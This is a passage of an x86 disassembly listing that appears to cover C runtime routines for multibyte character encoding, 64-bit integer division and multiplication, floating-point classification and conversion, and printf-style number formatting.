		movzx	edx, [ebp+arg_4]
		sar	edx, 6
		or	edx, 0C0h
		mov	[eax], dl
		mov	[ebp+var_4], 1
		jmp	short loc_44CF35
; ---------------------------------------------------------------------------


loc_44CEE5:				; CODE XREF: sub_44CE61+61j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		sar	edx, 0Ch
		and	edx, 0Fh
		or	edx, 0E0h
		mov	[eax], dl
		mov	[ebp+var_4], 2
		jmp	short loc_44CF35
; ---------------------------------------------------------------------------


loc_44CF09:				; CODE XREF: sub_44CE61+D8j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_4]
		dec	edx
		mov	[ebp+var_4], edx
		movzx	ecx, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		lea	ecx, [edx+edx*2]
		add	ecx, ecx
		mov	edx, [ebp+var_C]
		sar	edx, cl
		and	edx, 3Fh
		or	edx, 80h
		mov	[eax], dl


loc_44CF35:				; CODE XREF: sub_44CE61+59j
					; sub_44CE61+82j ...
		cmp	[ebp+var_4], 0
		jg	short loc_44CF09
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		sub	eax, edx
		jmp	loc_44D09E
; ---------------------------------------------------------------------------


loc_44CF48:				; CODE XREF: sub_44CE61+Ej
		mov	eax, [ebp+arg_8]
		movzx	eax, word ptr [eax+6]
		mov	byte ptr [ebp+var_4+3],	al
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_44CF93
		mov	eax, [ebp+arg_8]
		mov	ecx, dword_410194
		mov	ebx, dword_410198
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, off_411924
		movzx	eax, word ptr [eax]
		and	eax, 0F00h
		jmp	loc_44D09E
; ---------------------------------------------------------------------------


loc_44CF93:				; CODE XREF: sub_44CE61+10Aj
					; sub_44CE61+229j
		mov	al, byte ptr [ebp+var_4+3]
		cmp	al, 10h
		jnb	short loc_44CFD9
		movzx	eax, al
		mov	eax, off_411964[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jz	short loc_44CFD9
		movzx	eax, byte_4118A0
		cmp	[ebp+var_8], eax
		jge	short loc_44CFD9
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	eax, 0FF0h
		jge	short loc_44CFD9
		movzx	eax, byte ptr [ebp+arg_4]
		mov	edx, [ebp+var_18]
		mov	ax, [edx+eax*2]
		mov	[ebp+var_12], ax
		test	ax, ax
		jnz	short loc_44CFEC


loc_44CFD9:				; CODE XREF: sub_44CE61+137j
					; sub_44CE61+148j ...
		call	sub_449321
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_44D09E
; ---------------------------------------------------------------------------


loc_44CFEC:				; CODE XREF: sub_44CE61+176j
		movzx	eax, [ebp+var_12]
		mov	edx, eax
		and	edx, 0F00h
		sar	edx, 8
		mov	byte ptr [ebp+var_4+3],	dl
		test	eax, 8000h
		jz	short loc_44D018
		movzx	eax, [ebp+arg_4]
		and	eax, 0FFFFFF00h
		movzx	edx, byte ptr [ebp+var_12]
		or	eax, edx
		mov	[ebp+arg_4], ax


loc_44D018:				; CODE XREF: sub_44CE61+1A2j
		test	[ebp+var_12], 1000h
		jz	short loc_44D03A
		movzx	eax, [ebp+arg_4]
		mov	edx, eax
		shl	edx, 8
		sar	eax, 8
		and	eax, 0FFh
		or	edx, eax
		mov	ax, dx
		mov	[ebp+arg_4], ax


loc_44D03A:				; CODE XREF: sub_44CE61+1BDj
		test	[ebp+var_12], 2000h
		jz	short loc_44D07E
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		test	[ebp+var_12], 0FFh
		jz	short loc_44D05C
		movzx	edx, [ebp+var_12]
		mov	[ebp+var_1C], edx
		jmp	short loc_44D063
; ---------------------------------------------------------------------------


loc_44D05C:				; CODE XREF: sub_44CE61+1F0j
		movzx	edx, [ebp+arg_4]
		mov	[ebp+var_1C], edx


loc_44D063:				; CODE XREF: sub_44CE61+1F9j
		mov	edx, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax], dl
		test	dl, dl
		jnz	short loc_44D077
		mov	[ebp+var_10], 1


loc_44D077:				; CODE XREF: sub_44CE61+20Dj
		mov	[ebp+var_C], 0


loc_44D07E:				; CODE XREF: sub_44CE61+1DFj
		test	[ebp+var_12], 4000h
		jnz	short loc_44D090
		cmp	[ebp+var_10], 0
		jz	loc_44CF93


loc_44D090:				; CODE XREF: sub_44CE61+223j
		mov	edx, [ebp+arg_8]
		movzx	eax, byte ptr [ebp+var_4+3]
		mov	[edx+6], ax
		mov	eax, [ebp+var_8]


loc_44D09E:				; CODE XREF: sub_44CE61+36j
					; sub_44CE61+E2j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44CE61	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44D0B1	proc near		; CODE XREF: sub_44BF81+CFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_4]
		or	eax, eax
		jnz	short loc_44D0D2
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_C]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_8]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_44D122
; ---------------------------------------------------------------------------


loc_44D0D2:				; CODE XREF: sub_44D0B1+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_0]
		mov	edx, [esp+4+arg_C]
		mov	eax, [esp+4+arg_8]


loc_44D0E0:				; CODE XREF: sub_44D0B1+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_44D0E0
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_4]
		xchg	eax, ecx
		mul	[esp+4+arg_0]
		add	edx, ecx
		jb	short loc_44D10B
		cmp	edx, [esp+4+arg_C]
		ja	short loc_44D10B
		jb	short loc_44D113
		cmp	eax, [esp+4+arg_8]
		jbe	short loc_44D113


loc_44D10B:				; CODE XREF: sub_44D0B1+4Aj
					; sub_44D0B1+50j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]


loc_44D113:				; CODE XREF: sub_44D0B1+52j
					; sub_44D0B1+58j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_44D122:				; CODE XREF: sub_44D0B1+1Fj
		pop	ebx
		retn	10h
sub_44D0B1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44D131	proc near		; CODE XREF: sub_44BF81+116p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_44D152
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_44D152:				; CODE XREF: sub_44D131+Bj
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_44D16E
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_44D16E:				; CODE XREF: sub_44D131+27j
		or	eax, eax
		jnz	short loc_44D18A
		mov	ecx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_C]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_8]
		div	ecx
		mov	edx, ebx
		jmp	short loc_44D1CB
; ---------------------------------------------------------------------------


loc_44D18A:				; CODE XREF: sub_44D131+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_C]
		mov	eax, [esp+0Ch+arg_8]


loc_44D198:				; CODE XREF: sub_44D131+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_44D198
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_4]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_0]
		mul	esi
		add	edx, ecx
		jb	short loc_44D1C6
		cmp	edx, [esp+0Ch+arg_C]
		ja	short loc_44D1C6
		jb	short loc_44D1C7
		cmp	eax, [esp+0Ch+arg_8]
		jbe	short loc_44D1C7


loc_44D1C6:				; CODE XREF: sub_44D131+85j
					; sub_44D131+8Bj
		dec	esi


loc_44D1C7:				; CODE XREF: sub_44D131+8Dj
					; sub_44D131+93j
		xor	edx, edx
		mov	eax, esi


loc_44D1CB:				; CODE XREF: sub_44D131+57j
		dec	edi
		jnz	short loc_44D1D5
		neg	edx
		neg	eax
		sbb	edx, 0


loc_44D1D5:				; CODE XREF: sub_44D131+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_44D131	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44D1E1	proc near		; CODE XREF: sub_44BF81+13Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		or	ecx, eax
		mov	ecx, [esp+arg_0]
		jnz	short loc_44D1FA
		mov	eax, [esp+arg_8]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_44D1FA:				; CODE XREF: sub_44D1E1+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_8]
		mul	[esp+4+arg_4]
		add	ebx, eax
		mov	eax, [esp+4+arg_8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_44D1E1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44D221	proc near		; CODE XREF: sub_44C1C1+5p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		movzx	eax, word ptr [ecx+6]
		and	eax, 7FF0h
		cmp	eax, 7FF0h
		jnz	short loc_44D264
		test	word ptr [ecx+6], 0Fh
		jnz	short loc_44D251
		cmp	word ptr [ecx+4], 0
		jnz	short loc_44D251
		cmp	word ptr [ecx+2], 0
		jnz	short loc_44D251
		cmp	word ptr [ecx],	0
		jz	short loc_44D258


loc_44D251:				; CODE XREF: sub_44D221+1Aj
					; sub_44D221+21j ...
		mov	edx, 2
		jmp	short loc_44D25D
; ---------------------------------------------------------------------------


loc_44D258:				; CODE XREF: sub_44D221+2Ej
		mov	edx, 1


loc_44D25D:				; CODE XREF: sub_44D221+35j
		mov	ax, dx
		movsx	eax, ax
		retn
; ---------------------------------------------------------------------------


loc_44D264:				; CODE XREF: sub_44D221+12j
		movzx	eax, word ptr [ecx+6]
		test	eax, 0FFFF7FFFh
		jnz	short loc_44D283
		cmp	word ptr [ecx+4], 0
		jnz	short loc_44D283
		cmp	word ptr [ecx+2], 0
		jnz	short loc_44D283
		cmp	word ptr [ecx],	0
		jz	short loc_44D287


loc_44D283:				; CODE XREF: sub_44D221+4Cj
					; sub_44D221+53j ...
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_44D287:				; CODE XREF: sub_44D221+60j
		xor	eax, eax
		retn
sub_44D221	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D291	proc near		; CODE XREF: sub_44C1D1+5Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44DE71
		add	esp, 8
		movsx	eax, ax
		pop	ebp
		retn
sub_44D291	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D2B1	proc near		; CODE XREF: sub_44C1D1+200p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44DF11
		add	esp, 8
		movsx	eax, ax
		pop	ebp
		retn
sub_44D2B1	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44D2D1	proc near		; CODE XREF: sub_44C1D1+20Bp
					; sub_44C1D1+498p

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		sub	esp, 0Ch
		fstcw	[esp+0Ch+var_2]
		mov	ax, [esp+0Ch+var_2]
		or	ah, 0Ch
		mov	[esp+0Ch+var_4], ax
		fldcw	[esp+0Ch+var_4]
		fistp	[esp+0Ch+var_C]
		fldcw	[esp+0Ch+var_2]
		mov	eax, dword ptr [esp+0Ch+var_C]
		mov	edx, dword ptr [esp+0Ch+var_C+4]
		add	esp, 0Ch
		retn
sub_44D2D1	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D301	proc near		; CODE XREF: sub_44C1D1+4D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		mov	ecx, esi
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		mov	edx, esi
		imul	edx, eax
		mov	eax, ebx
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44D301	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D331	proc near		; CODE XREF: sub_44C1D1+64Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	eax, off_4119D0
		mov	al, [eax]
		mov	[ebp+var_1], al
		cmp	[ebp+arg_C], 0
		jg	short loc_44D356
		mov	[ebp+arg_C], 1
		mov	[ebp+arg_8], offset dword_4101A0


loc_44D356:				; CODE XREF: sub_44D331+16j
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_44D38A
		cmp	al, 46h
		jz	short loc_44D38A
		cmp	al, 67h
		jz	short loc_44D36D
		cmp	al, 47h
		jnz	loc_44D5D4


loc_44D36D:				; CODE XREF: sub_44D331+32j
		mov	ax, [ebp+arg_10]
		cmp	ax, 0FFFCh
		jl	loc_44D5D4
		movsx	eax, ax
		mov	edx, [ebp+arg_0]
		cmp	eax, [edx+2Ch]
		jge	loc_44D5D4


loc_44D38A:				; CODE XREF: sub_44D331+2Aj
					; sub_44D331+2Ej
		add	[ebp+arg_10], 1
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_44D39A
		cmp	al, 47h
		jnz	short loc_44D3D5


loc_44D39A:				; CODE XREF: sub_44D331+63j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jnz	short loc_44D3B8
		movsx	edx, [ebp+arg_C]
		cmp	edx, [eax+2Ch]
		jge	short loc_44D3B8
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_C]
		mov	[edx+2Ch], eax


loc_44D3B8:				; CODE XREF: sub_44D331+72j
					; sub_44D331+7Bj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_10]
		sub	edx, ecx
		mov	[eax+2Ch], edx
		test	edx, edx
		jge	short loc_44D3D5
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 0


loc_44D3D5:				; CODE XREF: sub_44D331+67j
					; sub_44D331+98j
		cmp	[ebp+arg_10], 0
		jg	loc_44D4A1
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	byte ptr [eax+edx], 30h
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_44D407
		test	word ptr [eax+38h], 8
		jz	short loc_44D41F


loc_44D407:				; CODE XREF: sub_44D331+CCj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_44D41F:				; CODE XREF: sub_44D331+D4j
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		neg	edx
		cmp	[eax+2Ch], edx
		jge	short loc_44D439
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		neg	eax
		mov	[ebp+arg_10], ax


loc_44D439:				; CODE XREF: sub_44D331+FAj
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_10]
		neg	eax
		mov	[edx+20h], eax
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		mov	ecx, [eax+2Ch]
		add	edx, ecx
		mov	[eax+2Ch], edx
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	[eax+2Ch], edx
		jge	short loc_44D46A
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_44D46A:				; CODE XREF: sub_44D331+12Dj
		movsx	eax, [ebp+arg_C]
		mov	edx, [ebp+arg_0]
		mov	[edx+24h], eax
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+28h], edx
		jmp	loc_44D7C6
; ---------------------------------------------------------------------------


loc_44D4A1:				; CODE XREF: sub_44D331+A9j
		mov	ax, [ebp+arg_10]
		cmp	[ebp+arg_C], ax
		jge	short loc_44D51B
		movsx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_10]
		movsx	ecx, [ebp+arg_C]
		sub	eax, ecx
		mov	[edx+20h], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_44D4F8
		test	word ptr [eax+38h], 8
		jz	short loc_44D50D


loc_44D4F8:				; CODE XREF: sub_44D331+1BDj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax+24h]


loc_44D50D:				; CODE XREF: sub_44D331+1C5j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		mov	[eax+28h], edx
		jmp	loc_44D7C6
; ---------------------------------------------------------------------------


loc_44D51B:				; CODE XREF: sub_44D331+178j
		movsx	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	ax, [ebp+arg_10]
		sub	[ebp+arg_C], ax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_44D560
		test	word ptr [eax+38h], 8
		jz	short loc_44D578


loc_44D560:				; CODE XREF: sub_44D331+225j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_44D578:				; CODE XREF: sub_44D331+22Dj
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	[eax+2Ch], edx
		jge	short loc_44D58E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_44D58E:				; CODE XREF: sub_44D331+251j
		movsx	eax, [ebp+arg_C]
		push	eax
		movsx	eax, [ebp+arg_10]
		mov	edx, [ebp+arg_8]
		add	eax, edx
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+20h], edx
		jmp	loc_44D7C6
; ---------------------------------------------------------------------------


loc_44D5D4:				; CODE XREF: sub_44D331+36j
					; sub_44D331+44j ...
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_44D5DF
		cmp	al, 47h
		jnz	short loc_44D62A


loc_44D5DF:				; CODE XREF: sub_44D331+2A8j
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	edx, [eax+2Ch]
		jge	short loc_44D5FD
		test	word ptr [eax+38h], 8
		jnz	short loc_44D5FD
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_C]
		mov	[edx+2Ch], eax


loc_44D5FD:				; CODE XREF: sub_44D331+2B8j
					; sub_44D331+2C0j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		dec	edx
		mov	[eax+2Ch], edx
		test	edx, edx
		jge	short loc_44D615
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 0


loc_44D615:				; CODE XREF: sub_44D331+2D8j
		xor	eax, eax
		cmp	[ebp+arg_4], 67h
		setnz	al
		dec	eax
		and	eax, 20h
		add	eax, 45h
		mov	[ebp+arg_4], al
		jmp	short loc_44D640
; ---------------------------------------------------------------------------


loc_44D62A:				; CODE XREF: sub_44D331+2ACj
		cmp	[ebp+arg_4], 61h
		jnz	short loc_44D636
		mov	[ebp+arg_4], 70h
		jmp	short loc_44D640
; ---------------------------------------------------------------------------


loc_44D636:				; CODE XREF: sub_44D331+2FDj
		cmp	[ebp+arg_4], 41h
		jnz	short loc_44D640
		mov	[ebp+arg_4], 50h


loc_44D640:				; CODE XREF: sub_44D331+2F7j
					; sub_44D331+303j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	[ebp+arg_8], ecx
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+10h]
		mov	al, [eax]
		mov	[ecx+edx], al
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_44D671
		test	word ptr [eax+38h], 8
		jz	short loc_44D689


loc_44D671:				; CODE XREF: sub_44D331+336j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_44D689:				; CODE XREF: sub_44D331+33Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jle	short loc_44D6EC
		mov	ax, [ebp+arg_C]
		dec	ax
		mov	[ebp+arg_C], ax
		mov	edx, [ebp+arg_0]
		movsx	eax, ax
		cmp	[edx+2Ch], eax
		jge	short loc_44D6B1
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_44D6B1:				; CODE XREF: sub_44D331+374j
		movsx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+20h], edx


loc_44D6EC:				; CODE XREF: sub_44D331+35Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		mov	[ebp+arg_8], eax
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	dl, [ebp+arg_4]
		mov	[eax], dl
		cmp	[ebp+arg_10], 0
		jl	short loc_44D71A
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	2Bh
		jmp	short loc_44D72A
; ---------------------------------------------------------------------------


loc_44D71A:				; CODE XREF: sub_44D331+3D9j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	2Dh
		neg	[ebp+arg_10]


loc_44D72A:				; CODE XREF: sub_44D331+3E7j
		mov	[ebp+var_8], 0
		jmp	short loc_44D75C
; ---------------------------------------------------------------------------


loc_44D733:				; CODE XREF: sub_44D331+430j
		push	0Ah
		movsx	eax, [ebp+arg_10]
		push	eax
		call	sub_44E131
		add	esp, 8
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_18]
		mov	[ebp+eax+var_12], dl
		mov	eax, [ebp+var_1C]
		mov	[ebp+arg_10], ax
		inc	[ebp+var_8]


loc_44D75C:				; CODE XREF: sub_44D331+400j
		cmp	[ebp+arg_10], 0
		jg	short loc_44D733
		cmp	[ebp+var_8], 2
		jge	short loc_44D780
		mov	al, [ebp+arg_4]
		cmp	al, 65h
		jz	short loc_44D774
		cmp	al, 45h
		jnz	short loc_44D780


loc_44D774:				; CODE XREF: sub_44D331+43Dj
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	30h


loc_44D780:				; CODE XREF: sub_44D331+436j
					; sub_44D331+441j
		cmp	[ebp+var_8], 0
		jnz	short loc_44D7AD
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	30h
		jmp	short loc_44D7AD
; ---------------------------------------------------------------------------


loc_44D794:				; CODE XREF: sub_44D331+480j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	edx, [ebp+var_8]
		dec	edx
		mov	[ebp+var_8], edx
		mov	dl, [ebp+edx+var_12]
		add	dl, 30h
		mov	[eax], dl


loc_44D7AD:				; CODE XREF: sub_44D331+453j
					; sub_44D331+461j
		cmp	[ebp+var_8], 0
		jg	short loc_44D794
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		mov	ecx, [eax+1Ch]
		mov	ebx, [eax+10h]
		add	ecx, ebx
		sub	edx, ecx
		mov	[eax+24h], edx


loc_44D7C6:				; CODE XREF: sub_44D331+16Bj
					; sub_44D331+1E5j ...
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+38h]
		and	eax, 14h
		cmp	eax, 10h
		jnz	short loc_44D809
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
